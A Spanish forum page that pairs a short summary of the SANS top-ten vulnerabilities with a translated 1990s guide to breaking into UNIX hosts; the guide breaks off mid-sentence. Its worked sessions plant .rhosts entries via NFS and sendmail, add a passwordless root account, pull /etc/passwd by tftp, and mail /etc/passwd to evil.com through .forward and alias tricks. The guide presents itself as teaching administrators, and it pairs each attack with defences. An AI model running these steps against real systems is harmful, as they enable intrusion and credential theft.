El post que buscas se encuentra eliminado, pero este también te puede interesar

Todo Sobre El Hacker

10 Amenazas de la web




Sans Institute publica un documento en el que se describen los diez problemas de seguridad más críticos y habituales en Internet -actualmente-, con el fin de que los administradores de sistemas cierren los problemas más comunes y más habitualmente utilizados.

El documento, en inglés (aunque existe una traducción al castellano), se actualiza con relativa frecuencia y debería ser revisado a menudo.

Además de la vulnerabilidades en sí, se ofrecen consejos y recomendaciones para reducir riesgos.

Las diez vulnerabilidades más comunes son:

BIND (named)
Es el servidor de nombres más popular de Internet, pero las versiones anteriores a la 8.2.2patch5 son vulnerables a numerosos ataques capaces de proporcionar nivel "root" al atacante.
CGIs y extensiones en los servidores web
Hay que auditar cuidadosamente todos los CGIs accesibles en los servidores web, incluyendo los CGIs que vienen por defecto. Adicionalmente, extensiones como FrontPage y ColdFusion pueden ser inseguros por sí mismos, o contener ejemplos atacables.
Vulnerabilidades en sistemas de llamada a procedimiento remoto (RPC), tipo rpc.ttdbserverd, rpc.cmsd y rpc.statd
Aunque son conocidos desde hace tiempo, estos fallos siguen presentes en numerosos equipos.
Vulnerabilidad RDS en el servidor web de Microsoft (IIS)
Diversos errores de seguridad en el Remote Data Services (RDS) permiten a un atacante el ejecutar comandos con privilegios de administrador.
Sendmail
Sendmail es el servidor de correo (MTA) más utilizado en el mundo UNIX. Los administradores de dichos sistemas deberían mantener el servidor permanentemente actualizado.
sadmind y mountd
Estos procesos, si no han sido actualizados, contienen errores que permiten la ejecución de código arbitrario como "root".
Compartición de discos e información vía NetBIOS, NFS y AppleShare
- Deben compartirse sólo los directorios imprescindibles, y sólo desde las máquinas imprescindibles.
- El acceso por red a dichas máquinas debe ser el imprescindible.
- Las claves empleadas deben ser robustas.
- El control de acceso no debe basarse en información DNS, sino en direcciones IP.
Cuentas sin clave o con claves de baja calidad
Esto es espcialmente grave cuando las cuentas en cuestión tienen privilegios especiales.
Vulnerabilidades en los servidores IMAP/POP
Estos servicios gestionan los buzones de los usuarios y les proporcionan acceso a su contenido. Normalmente no están protegidos por cortafuegos, ya que suele ser necesario proporcionar el servicio a usuarios desplazados fuera de la red local.
"Comunidades" (claves) SNMP por defecto
Numerosos equipos con capacidades de administración y monitorización remota vía SNMP (Simple Network Management Protocol) son desplegados sin modificar las claves (comunidades) por defecto.

FUENTE ; HISPASEC


Crackear sistema (Libro Del Hacker Negro)}


Introducción

Todos los días, en todo el mundo, las redes de ordenadores y hosts son
violados. El nivel de sofisticación de estos ataques varia ampliamente;
mientras hay una creencia generalizada que la mayoría de estas intrusiones
tienen éxito debido a la debilidad de los passwords, hay todavía un gran
numero de intrusiones que hacen uso de técnicas mas avanzadas para entrar.
Poco es sabido acerca de este ultimo tipo de intrusiones , debido
principalmente a su naturaleza y a su dificultad de ser detectadas.


ERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley.
Purdue. Sun. Cualquier sistema en Internet (y muchos que no lo están) son
susceptibles de ser violados fácilmente. ¿Son estos objetivos inusuales? ¿Que
ocurrió?

Un hombrejoven, con pelo rubio y grasiento, sentado en una habitación oscura.
La habitacion esta iluminada solamente por la luz de la pantalla de 40
caracteres de un C64. Tomando otra larga aspiración de su Benson & Hedges, su
cansado sistema cracker “Telnetea” a otro site “.mil” anónimo de su lista
de víctimas. No importa. Tiene toda la noche….lo tacha de su lista, y
cansinamente teclea la siguiente víctima potencial….

Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin
experiencia, y con un montón de tiempo que perder, tan solo para entrar en
otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso
rondando por ahí. Uno que sabe todo lo ultimo acerca de seguridad de
sistemas y herramientas cracking, que puede modificarlas para llevar a cabo
ataques específicos, y que puede currarse sus propios programas. Uno que no
solo se dedica a leer sobre los últimos agujeros de seguridad, sino que
tambien descubre bugs y puntos débiles. Una “criatura mortal” que puede
tanto golpear “envenenadamente” , como ocultar su rastro sin un solo
susurro o pista. El uebercracker esta aquí..


Por que “uebercracker” ? Es una idea robada, obviamente, del uebermensch de
Nietzsche,o , literalmente traducido al ingles, “over man”.
Nietzsche uso el termino no para referirse a un super hombre de comic, sino
a un hombre que va mas alla de la incompetencia, insignificancia, y
debilidad del hombre tradicional.
Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla
de los simples metodos de intrusion de los cookbooks. Un uebercracker no se
motiva normalmente para realizar actos violentos.


Las victimas no son arbitrariamente escogidas – hay un proposito, tanto
como si es por conseguir fines monetarios, un ataque “golpea y corre” para
pillar informacion, o un desafio para golpear un prestigioso-gran site o
red personalmente. Un uebercracker es dificil de detectar, mas aun de
parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien.

Overview

En este texto vamos a realizar un acercamiento inusual a los sistemas de
seguridad.
En vez de decir meramente que algo es un problema, vamos a mirar a traves
de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que
incluso los aparentemente inocuos servicios de red pueden convertirse en
herramientas muy valiosas a la hora de buscar puntos debiles en un sistema,
incluso cuando estos servicios operan del modo esperado.

En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones
cada vez mas avanzadas, este texto reseña varios mecanismos usados
actualmente por los crackers para obtener acceso a los sistemas y,
adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos
usado nosotros mismos en tests o ambientes autorizados/amigables.

Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que
los administradores de sistemas no son muy a menudo conscientes del peligro
existente por cualquier cosa mas alla de los ataques mas triviales.
Mientras por todos es sabido que el nivel de proteccion apropiado depende
de que es lo que debe ser protegido, muchos sites parecen estar faltos de
los recursos para valorar que nivel de proteccion es adecuada.
Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un
sistema remoto, intentamos ayudar a los administradores de sistemas a tomar
decisiones sobre como proteger su site – o como no hacerlo. Limitaremos la
discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells
en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como
conseguir privilegios root estan mas alla del ambito de este texto –
consideramos que son o dependen del site y, en muchos casos, muy triviales
para merecer discutirse.

Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de
seguridad – siempre habra nuevos para que un “atacante” en potencia los
explote. El proposito de este texto es el de tratar de que el lector vea su
sistema de una forma nueva/diferente – una forma que posiblemente le
permita tener la oportunidad de entender como su propio sistema puede estar
comprometido, y como.

Tambien queremos reiterar que el proposito de este texto es el de enseñar
al lector como testear la seguridad de su propio site, y no como irrumpir
en sistemas ajenos. Las tecnicas de intrusion ilustradas aquí dejaran muy a
menudo huellas en los logs de tu sistema – seria constructivo examinarlos
despues de intentar alguno de estos ataques, para ver como seria un ataque
verdadero. Ciertamente otros sites y administradores de sistemas
tomaran/haran una vision fugaz de tus actividades si es que decides usar
sus hosts para hacer tests de seguridad sin autorizacion avanzada; de
hecho, es posible que se tomen medidas legales contra tu persona si lo
perciben como un ataque.

Hay cuatro partes principales en este texto. La primera es la intoduccion y
el overview. La segunda parte es un intento de dar a entender al lector lo
que es ser un intruso y como de no saber nada de un sistema pasar a
comprobar su seguridad. Esta seccion revisa las tecnicas actuales de
obtencion de informacion y acceso, y cubre estrategias basicas tales como
explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp,
etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi
como bugs tipicos y problemas de configuracion en cierta forma mas
especificos de los sitemas operativos o de los sistemas.
Tambien se cubre lo referente a estragegias defensivas contra cada uno de
los diferentes ataques.
La tercera seccion trata sobre confianza: como la seguridad de un sistema
depende de la integridad de otros sistemas. La confianza es el tema mas
complejo de este texto, y por ser breves limitaremos su discusion a “los
clientes ocultos” (si alguien ha entendido esto ultimo que me lo explique
).




La cuarta seccion cubre los pasos basicos a seguir por un administrador de
sistemas para proteger su sistema. La mayoria de los metodos presentados
aquí son meramente de sentido comun, pero son comunmente ignorados en la
practica – una de nuestras metas es enseñar lo peligroso que es ignorar
estos metodos basicos de seguridad.




Estudios practicos, indicadores de informacion relacionada con la
seguridad, y software son descritos en los apendices al final del
documento.




Mientras exploramos los metodos y estrategias que se discuten en este texto
vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ).
Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos
y recoge tanta informacion como sea posible explorando remotamente NIS,
finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye
la presencia de varios servicios de informacion de red asi como de defectos
potenciales de seguridad – normalmente en la forma de errores en el setup o
en la configuracion de los servicios de red, bugs tipicos en las utilidades
del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces
puede bien informar sobre estos datos o usar un sistema experto para
investigar mas adelante cualquier problema potencial de seguridad.
Mientras el SATAN no usa todos los metodos discutdos en este texto, ha
triunfado con “amenazadora” regularidad a la hora de encontrar serios
agujeros de seguridad en sites de Internet. Sera posteado y estara
disponible via FTP anonimo cuando este completado; El apendice A cubre
sus caracteristicas mas destacadas.




Observar que no es posible cubrir todos los metodos posibles de irrumpir en
los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los
metodos mas efectivos de irrupcion en hosts remotos: social engineering (
ingenieria social) y password cracking (crackear passwords). Este ultimo
metodo es tan efectivo, sin embargo, que varias de las estrategias
presentadas aquí estan basadas en la obtencion de archivos de passwords.
Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows,
etc..) pueden proveer una “tierra fertil” para la
irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos
usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan
terminales non-bitmapped que les pueden prevenir de usar algunos de los
metodos de explotacion efectiva mas interesantes para sistemas basados en
ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima
es normalmente suficiente para pillar passwords). Finalmente, mientras
gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no
son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas
muy similares a las descritas en este documento como partes individuales de
su estrategia de ataque.

Ganando Informacion


Asumamos que tu eres el administrador de sistema de “Victim Incorporated’s
network of Unix workstations”. En un esfuerzo por proteger tus maquinas, le
pides a un colega administrador de sistema de un site cercano (evil.com)
que te de una cuenta en una de sus maquinas para asi poder ver la seguridad
de tu propio sistema desde el exterior.

Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu
blanco, tu host. Hay un monton de servicios de red en los que mirar:
finger, showmount y rpcinfo son buenos puntos de partida.
Pero no te pares ahi – debes tambien utilizar DNS, whois, sendmail (smtp),
ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos
metodos y tecnicas que el espacio nos impide enseñaros todos, pero
trataremos de enseñar una representativa de las estrategias mas comunes y/o
peligrosas que hemos visto o que se nos han ocurrido.

Idealmente, podrias recoger dicha informacion sobre todos los hosts en la
subred o area de ataque – la informacion es poder – pero por ahora
examinaremos solo nuestra victima/blanco en cuestion.

Para comenzar, miraremos lo que el comando finger nos ha reportado.
(imagina que son las 6pm, 6 Noviembre, 1993):


victim % finger @victim.com
[victim.com]
Login Name TTY Idle When Where
zen Dr. Fubar co 1d Wed 08:00 death.com



Bien! Un solo usuario inactivo – se supone que nadie va a notar si intentas
irrumpir dentro.

Ahora intentas mas tacticas. Como todos los devotos del finger sabran,
hacer finger “@”, “0”, y "", asi como a nombre comunes, como root, bin,
ftp, system, guest, demo, manager, etc…, puede revelar informacion
interesante. Lo que esa informacion sea depende de la version de finger que
tu victima este usando, pero la mas importante son nombres de cuentas,
conjuntamente con sus home directories y el ultimo host desde el que se
conectaron.

Para añadir a esta informacion, puedes tambien usar rusers (en particular
con la extension -l ) para pillar informacion valiosa sobre usuarios
conectados.

Usando estos comandos en victim.com nos da la siguiente informacion,
presentada de forma tabulada comprimida para ahorrar espacio:

Login Home-dir Shell Last login, from where
root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com
bin /bin Never logged in
nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co
daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com
sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com
zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com
sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com
guest /export/foo /bin/sh Never logged in
ftp /home/ftp Never logged in

Tanto nuestros experimentos con el SATAN como el ver en funcionamiento
system crackers nos ha demostrado que el finger es uno de los servicios mas
peligrosos, por su valor a la hora de investigar una victima potencial. De
todas formas, mucha de esta informacion solamente es valiosa usada
conjuntamente con otros datos.

Por ejemplo, ejecutando showmount (informacion sobre el montaje de un
servidor)en tu victima nos revela lo siguiente:

evil % showmount -e victim.com
export list for victim.com:
/export (everyone)
/var (everyone)
/usr easy
/export/exec/kvm/sun4c.sunos.4.1.3 easy
/export/root/easy easy
/export/swap/easy easy




Notar que /export/foo esta “exportado al mundo”; tambien fijaros que este
es el home directory del usuario “guest”. Es hora de tu primera intrusion!
En este caso, montaras el home directoy del usuario “guest”. Como no tienes
la cuenta correspondiente en esa maquina y como root no puede modificar
archivos en un sistema de archivos NFS, creas una cuenta “guest” en tu
archivo de password local. Como usuario “guest” puedes colocar una “.rhosts
entry” en el guest home directory remoto, que te permitira acceder a dicha
maquina sin tener que dar ningun password.

evil # mount victim.com:/export/foo /foo
evil # cd /foo
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest
evil # echo guest10001:1:temporary breakin account >> /etc/passwd
evil # ls -lag
total 3
1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 .
1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 ..
1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest
evil # su guest
evil % echo evil.com >> guest/.rhosts
evil % rlogin victim.com
Welcome to victim.com!
victim %
Si, en lugar de home directories, victim.com exportara sistemas de archivos
con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar
un comando por un caballo de troya que ejecutara cualquier comando de tu
eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu
programa

Sugerimos que se exporten estos sistemas de archivos:

Lectura/excritura solo a clientes especificos y de confianza
Solo-lectura, donde sea posible (datos o programas pueden ser exportados
de esta forma)

Si la victima tiene un “+” wildcard en su /etc/hosts.equiv (por defecto en
varias maquinas) o tiene el netgroups bug , cualquier usuario no root con
un login en el fichero de passwords de la victima puede hacer un rlogin
(login remoto) a la victima sin necesidad de password. Y como el usuario
“bin” normalmente tiene ficheros llave y directorios, tu siguiente ataque
es el de tratar de acceder en el host de la victima y modificar el fichero
de passwords para permitirte tener acceso “root”:

evil % whoami
bin
evil % rsh victim.com csh -i
Warning: no access to tty; thus no job control in this shell...
victim % ls -ldg /etc
drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc
victim % cd /etc
victim % mv passwd pw.old
victim % (echo toor::0:1:instant root shell/bin/sh; cat pw.old ) >
passwd
victim % ^D
evil % rlogin victim.com -l toor
Welcome to victim.com!
victim #

Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se
usa para inicialmente entrar en el sistema ya que no deja ningun rastro en
los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger
y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los
prgramas tipo pagers y editores fallaran – pero es de gran utilidad para
una breve exploracion.

La utilidad de seguridad COPS (ver apendice D) informara de archivos o
directorios que son “escribibles” a otras cuentas aparte de la superuser.
Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de
los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en
lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente
innotificable; el tcp wrapper (apendice D), que “logea” conexiones
entrantes, puede ayudar a desenmascarar dichas actividades.
---
Y ahora que? Has destapado ya todos los agujeros del sistema-victima?
Volviendo a los resultados dados por el finger en nuestra victima, te das
cuenta de que tiene una cuenta “ftp”, que normalmente significa que se
puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir
acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima
debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo
-ftp/etc en vez de una version reducida. En este ejemplo, sin embargo,
puedes ver que este ultimo no parece ser el verdadero (como puedes
afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory
de “ftp” en victim.com es escribible. Esto te permite ejecutar comandos
remotamente – en este caso, mandarte el archivo por mail a ti mismo – por
el simple metodo de crear un archivo .forward que ejecuta un comando cuando
un mail es mandado a la cuenta “ftp”.

evil % cat forward_sucker_file
"|/bin/mail zen@evil.com < /etc/passwd"

evil % ftp victim.com
Connected to victim.com
220 victim FTP server ready.
Name (victim.com:zen): ftp
331 Guest login ok, send ident as password.
Password:
230 Guest login ok, access restrictions apply.
ftp> ls -lga
200 PORT command successful.
150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
total 5
drwxr-xr-x 4 101 1 512 Jun 20 1991 .
drwxr-xr-x 4 101 1 512 Jun 20 1991 ..
drwxr-xr-x 2 0 1 512 Jun 20 1991 bin
drwxr-xr-x 2 0 1 512 Jun 20 1991 etc
drwxr-xr-x 3 101 1 512 Aug 22 1991 pub
226 ASCII Transfer complete.
242 bytes received in 0.066 seconds (3.6 Kbytes/s)
ftp> put forward_sucker_file .forward
43 bytes sent in 0.0015 seconds (28 Kbytes/s)
ftp> quit
evil % echo test | mail ftp@victim.com
Ahora simplemente tienes que esperar a que el fichero de passwords te sea
enviado.

La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo;
mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el
CERT advisory 93:10 para recoger informacion acerca de como establecer
(setup, por si hay dudas) ftp anonimo correctamente.
Vulnerabilidades en el ftp son normalmente cusetion de una posesion
incorrecta o de los permisos de archivos y directorios. Al menos, estate
seguro de que -ftp y todos los directorios y ficheros “system” por debajo
de -ftp son de root y que no tienen privilegios de escritura para ningun
usuario.

Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente
explotado:

% ftp -n
ftp> open victim.com
Connected to victim.com
220 victim.com FTP server ready.
ftp> quote user ftp
331 Guest login ok, send ident as password.
ftp> quote cwd ~root
530 Please login with USER and PASS.
ftp> quote pass ftp
230 Guest login ok, access restrictions apply.
ftp> ls -al / (o lo que sea)

Si esto funciona, estaras dentro como root, y con capacidad para modificar
el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes
que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp
anonimo en ftp.uu.net.

El wuarchive ftpd, un conocido “recambio” del ftp daemon dado por la
Washington University in Saint Louis, tenia casi el mismo problema. Si tu
wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una
version mas reciente.

hay un programa similar a ftp – tftp, o trivial file transfer
program. Este daemon no necesita de ningun password para autentificacion;
si un host provee de tftp sin restringir el acceso (normalmente mediante
algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer
y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas
el fichero passwd y se pone en tu directorio /tmp local:

evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit

Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es
necesario, utiliza la opcion/flag segura para restringir el acceso a un
directorio que contenga informacion sin valor, o ejecutalo bajo el control
de un programa chroot wrapper.
-----
Si ninguno de los metodos anteriores ha funcionado, es hora de tomar
medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran
utilidad, muchas veces incluso mas practico que el finger. Muchos hosts
tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el
portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS,
si es un servidor o esclavo NIS, si hay una estacion de trabajo sin
disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info
(rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados
con logs y seguridad). Por ejemplo, volviendo a nuestra victima:

evil % rpcinfo -p victim.com
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd


En este caso, puedes ver varios datos significativos sobre nuestra victima;
el primero de los cuales es que es un servidor NIS. Puede que no sea muy
sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor,
puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso
cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el
programa YPX que se puede encontrar en los archivos comp.sources.misc en
ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables
passwords, muchos sistemas usan nombres de dominio NIS facilmente
adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente
provechoso/fructifero. Los mayores candidatos son los nombres del host en
forma parcial y total (e.g. “victim” and “victim.com”, el nombre de la
organización, nombres del grupo dados por el comando “showmount”, y demas.
Si quisieras probar si el nombre de dominio fuera “victim”, teclearias:




evil % ypwhich -d victim victim.com
Domain victim not bound.




Como se ve este fue un intento sin éxito; si huiera sido correcto “victim”,
nos habria dado un mensaje con el nombre de host del servidor NIS. De todas
formas, fijaros de la seccion NFS que victim.com esta exportando el
directorio “/var” al mundo. Todo lo que se necesita es montar dicho
directorio y mirar en el subdirectorio “yp” – entre otras cosas veras otro
subdirectorio que contiene el nombre de dominio de la victima.

evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]

En este caso “foo_bar” es el nombre de dominio del NIS.

Adicionalmente, los mapas NIS contienen normalmente una buena lista de
nombres de usuarios/empleados asi como listas de hosts internos, por no
mencionar passwords para crackear.
El apendice C detalla los resultados de un caso practico sobre archivos de
passwords NIS.
-----
Puedes observar que la respuesta dada por el comando rpcinfo mostraba que
victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo
“por favor ejecuta este comando como ese usuario (como siendo ese
usuario)”. A diferencia de rshd, rexd no tiene en cuenta si el host cliente
esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa
rexd cliente es el comando “on”, pero tan solo es necesario un pequeño
programa en C para mandar informacion arbitraria sobre el host y userid
cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas
razones, ejecutar rexd es similar a no tener passwords: toda la seguridad
esta en el cliente, no en el servidor que es donde deberia. La seguridad
del rexd puede ser mejorada de alguna manera usando un RPC seguro.
-----
bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com
parece ser un server para estaciones de trabajo sin disqueteras. Esto se
evidencia debido a la presencia del servicio bootparam, que provee
informacion a los clientes sin disquetera para el arranque. Si lo preguntas
correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un
cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran
utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS
arbitrarios (como el fichero password) cuando sabes el nombre de dominio.
Aquí va un ejemplo de codigo para hacer justo eso:




char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */





/* initializations omitted... */





callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);




printf("%s has nisdomain %sn", server, res.domain_name);




El resultado del comando showmount indicaba que “easy” es un cliente sin
disquetera de victim.com, asi que usamos su direccion de cliente en el
query BOOTPARAMPROC_WHOAMI:




evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar




-----




Los NIS masters controlan los alias del mail para el dominio NIS en
cuestion. Como en los ficheros de alias de mail locales, puedes crear un
mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo
popular de esto es el alias “decode” que “uudecodea” archivos mail que le
son mandados). Por ejemplo, aquí creas un alias “foo”, que mailea el
fichero password de vuelta a evil.com simplemente maileandole cualquier
mensaje:




nis-master # echo 'foo: "|mail zen@evil.com< /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com




Por suerte los atacantes no tendran control de tu NIS master host, pero mas
aun laa leccion esta clara – NIS normalmente no es seguro, pero si un
atacante se hace con el control de tu NIS master, efectivamente tendra de
los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios).




No hay demasiadas defensas contra estos ataques; es un servicio inseguro
que casi no tiene autentificacion entre clientes y servers. Para mas INRI,
parece claro que se pueden forzar mapas aleatorios incluso en servidores
maestros (ej, es posible tratar a un servidor NIS como si fuera un
cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es
absolutamente necesario usar NIS, el usar un nombre de dominio dificil de
adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera
que estan expuestos a atacantes en potencia, entonces es insignifante para
este atacante el sobrepasar este simple paso haciendo uso del truco del
bootparam para conseguir el nombre de dominio. Si el NIS es usado para
propagar los mapas de passwords, entonces los shadowed passwords no ofrecen
ningun tipo de proteccion adicional ya que el mapa shadow seria aun
accesible para cualquier atacante que fuera root en un host de ataque.
Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que
los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles.




El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero
tiene sus propios problemas, principalmente en que es dificil de
administrar, pero tambien en que los metodos de criptologia usados no son
muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de
red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha
limitado a correr bajo Suns.
Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111
o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de
Sun, puede tambien ayudar.




-----




El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros
servicios de red pueden ser localizados con el metodo de fuerza bruta que
conecta a todos los puertos de la red. Muchas utilidades de red y sistemas
basados en ventanas “escuchan” en puertos especificos (ej, sendmail esta en
el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc).
SATAN incluye un programa que escanea los puertos de un host remoto e
informa lo que ha encontrado; si lo ejecutaras contra nuestra victima
verias lo siguiente:




evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)

Esto sugiere que victim.com esta corriendo X windows. Si no esta
correctamente protegido (por via de la cookie magica,magic cookie, o por
mecanismos xhost), el contenido de las ventanas podria capturarse u
observarse, lo que teclean los usuarios robado, ejecutar programas
remotamente, etc. Tambien, si la victima esta usando X windows y acepta un
telnet por el puerto 6000 (X), esto podria ser usado para un ataque de
denegacion de servicio (denial of service attack), ya que el sistema de
ventanas de la victima se suele mantener “congelado” por unos instantes. Un
metodo para determinar la vulnerabilidad de un servidor X (corriendo X
windows) es el de conectarse al mismo por medio de la funcion
XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes
acceder al display de la victima (opendisplay es parte de SATAN):

char *hostname;

if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %sn", hostname);
} else {
printf("Can open display: %sn", hostname);
}

evil % opendisplay victim.com:0
Cannot open display: victim.com:0

Los terminales X, aunque mucho menos potentes que un sistema UNIX completo,
pueden tener sus propios problemas de seguridad. Muchos terminales X
permiten accesos rsh no restringidos, permitiendote iniciar programas
clientes X en el terminal de la victima apareciendo los resultados en tu
propia pantalla:

evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com

En cualquier caso, dale la misma importancia a la seguridad de tu sistema
de ventanas, como a la de tu sistema de archivos y utilidades de red, ya
que si no puede comprometer tu sistema igual que un “+” en el host.equiv o
una cuenta root sin password.
Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo
que tiene un largo historial de problemas de seguridad, incluyendo el
infame comando “wiz” (por suerte hace mucho que se deshabilito en todas las
maquinas). A menudo puedes determinar el sistema operativo, a veces hasta
la version, de la victima, mirando al numero de version de sendmail. Esto,
nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los
muchos bugs. Adicionalmente, puedes ver si usan el alias “decode”, que
posee su propio set de problemas:

evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00
PDT
expn decode
250 <"|/usr/bin/uudecode">
quit

El usar el alias “decode” es un riesgo de seguridad – permite a los
atacantes en potencia sobreescribir cualquier fichero que fuese escribible
por el poseedor de ese alias – a menudo un daemon, pero potencialmente
cualquier usuario. Considera este trozo de mail – esto pondra a “evil.com”
en el archivo .rhost del usuario zen si es que fuera escribible.

evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail
decode@victim.com

Si no se conocen o no hay home directories escribibles, una interesante
variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que
contenga un alias con un comando que quieras ejecutar en tu victima. Esto
puede funcionar debido a que en muchos sistemas los archivos aliases.pag y
aliases.dir, que controlan los alias de mail del sistema, son escribibles
para todo el mundo.

evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null

Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una
direccion es aceptable (vrfy), o hasta donde se expande una direccion
(expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn
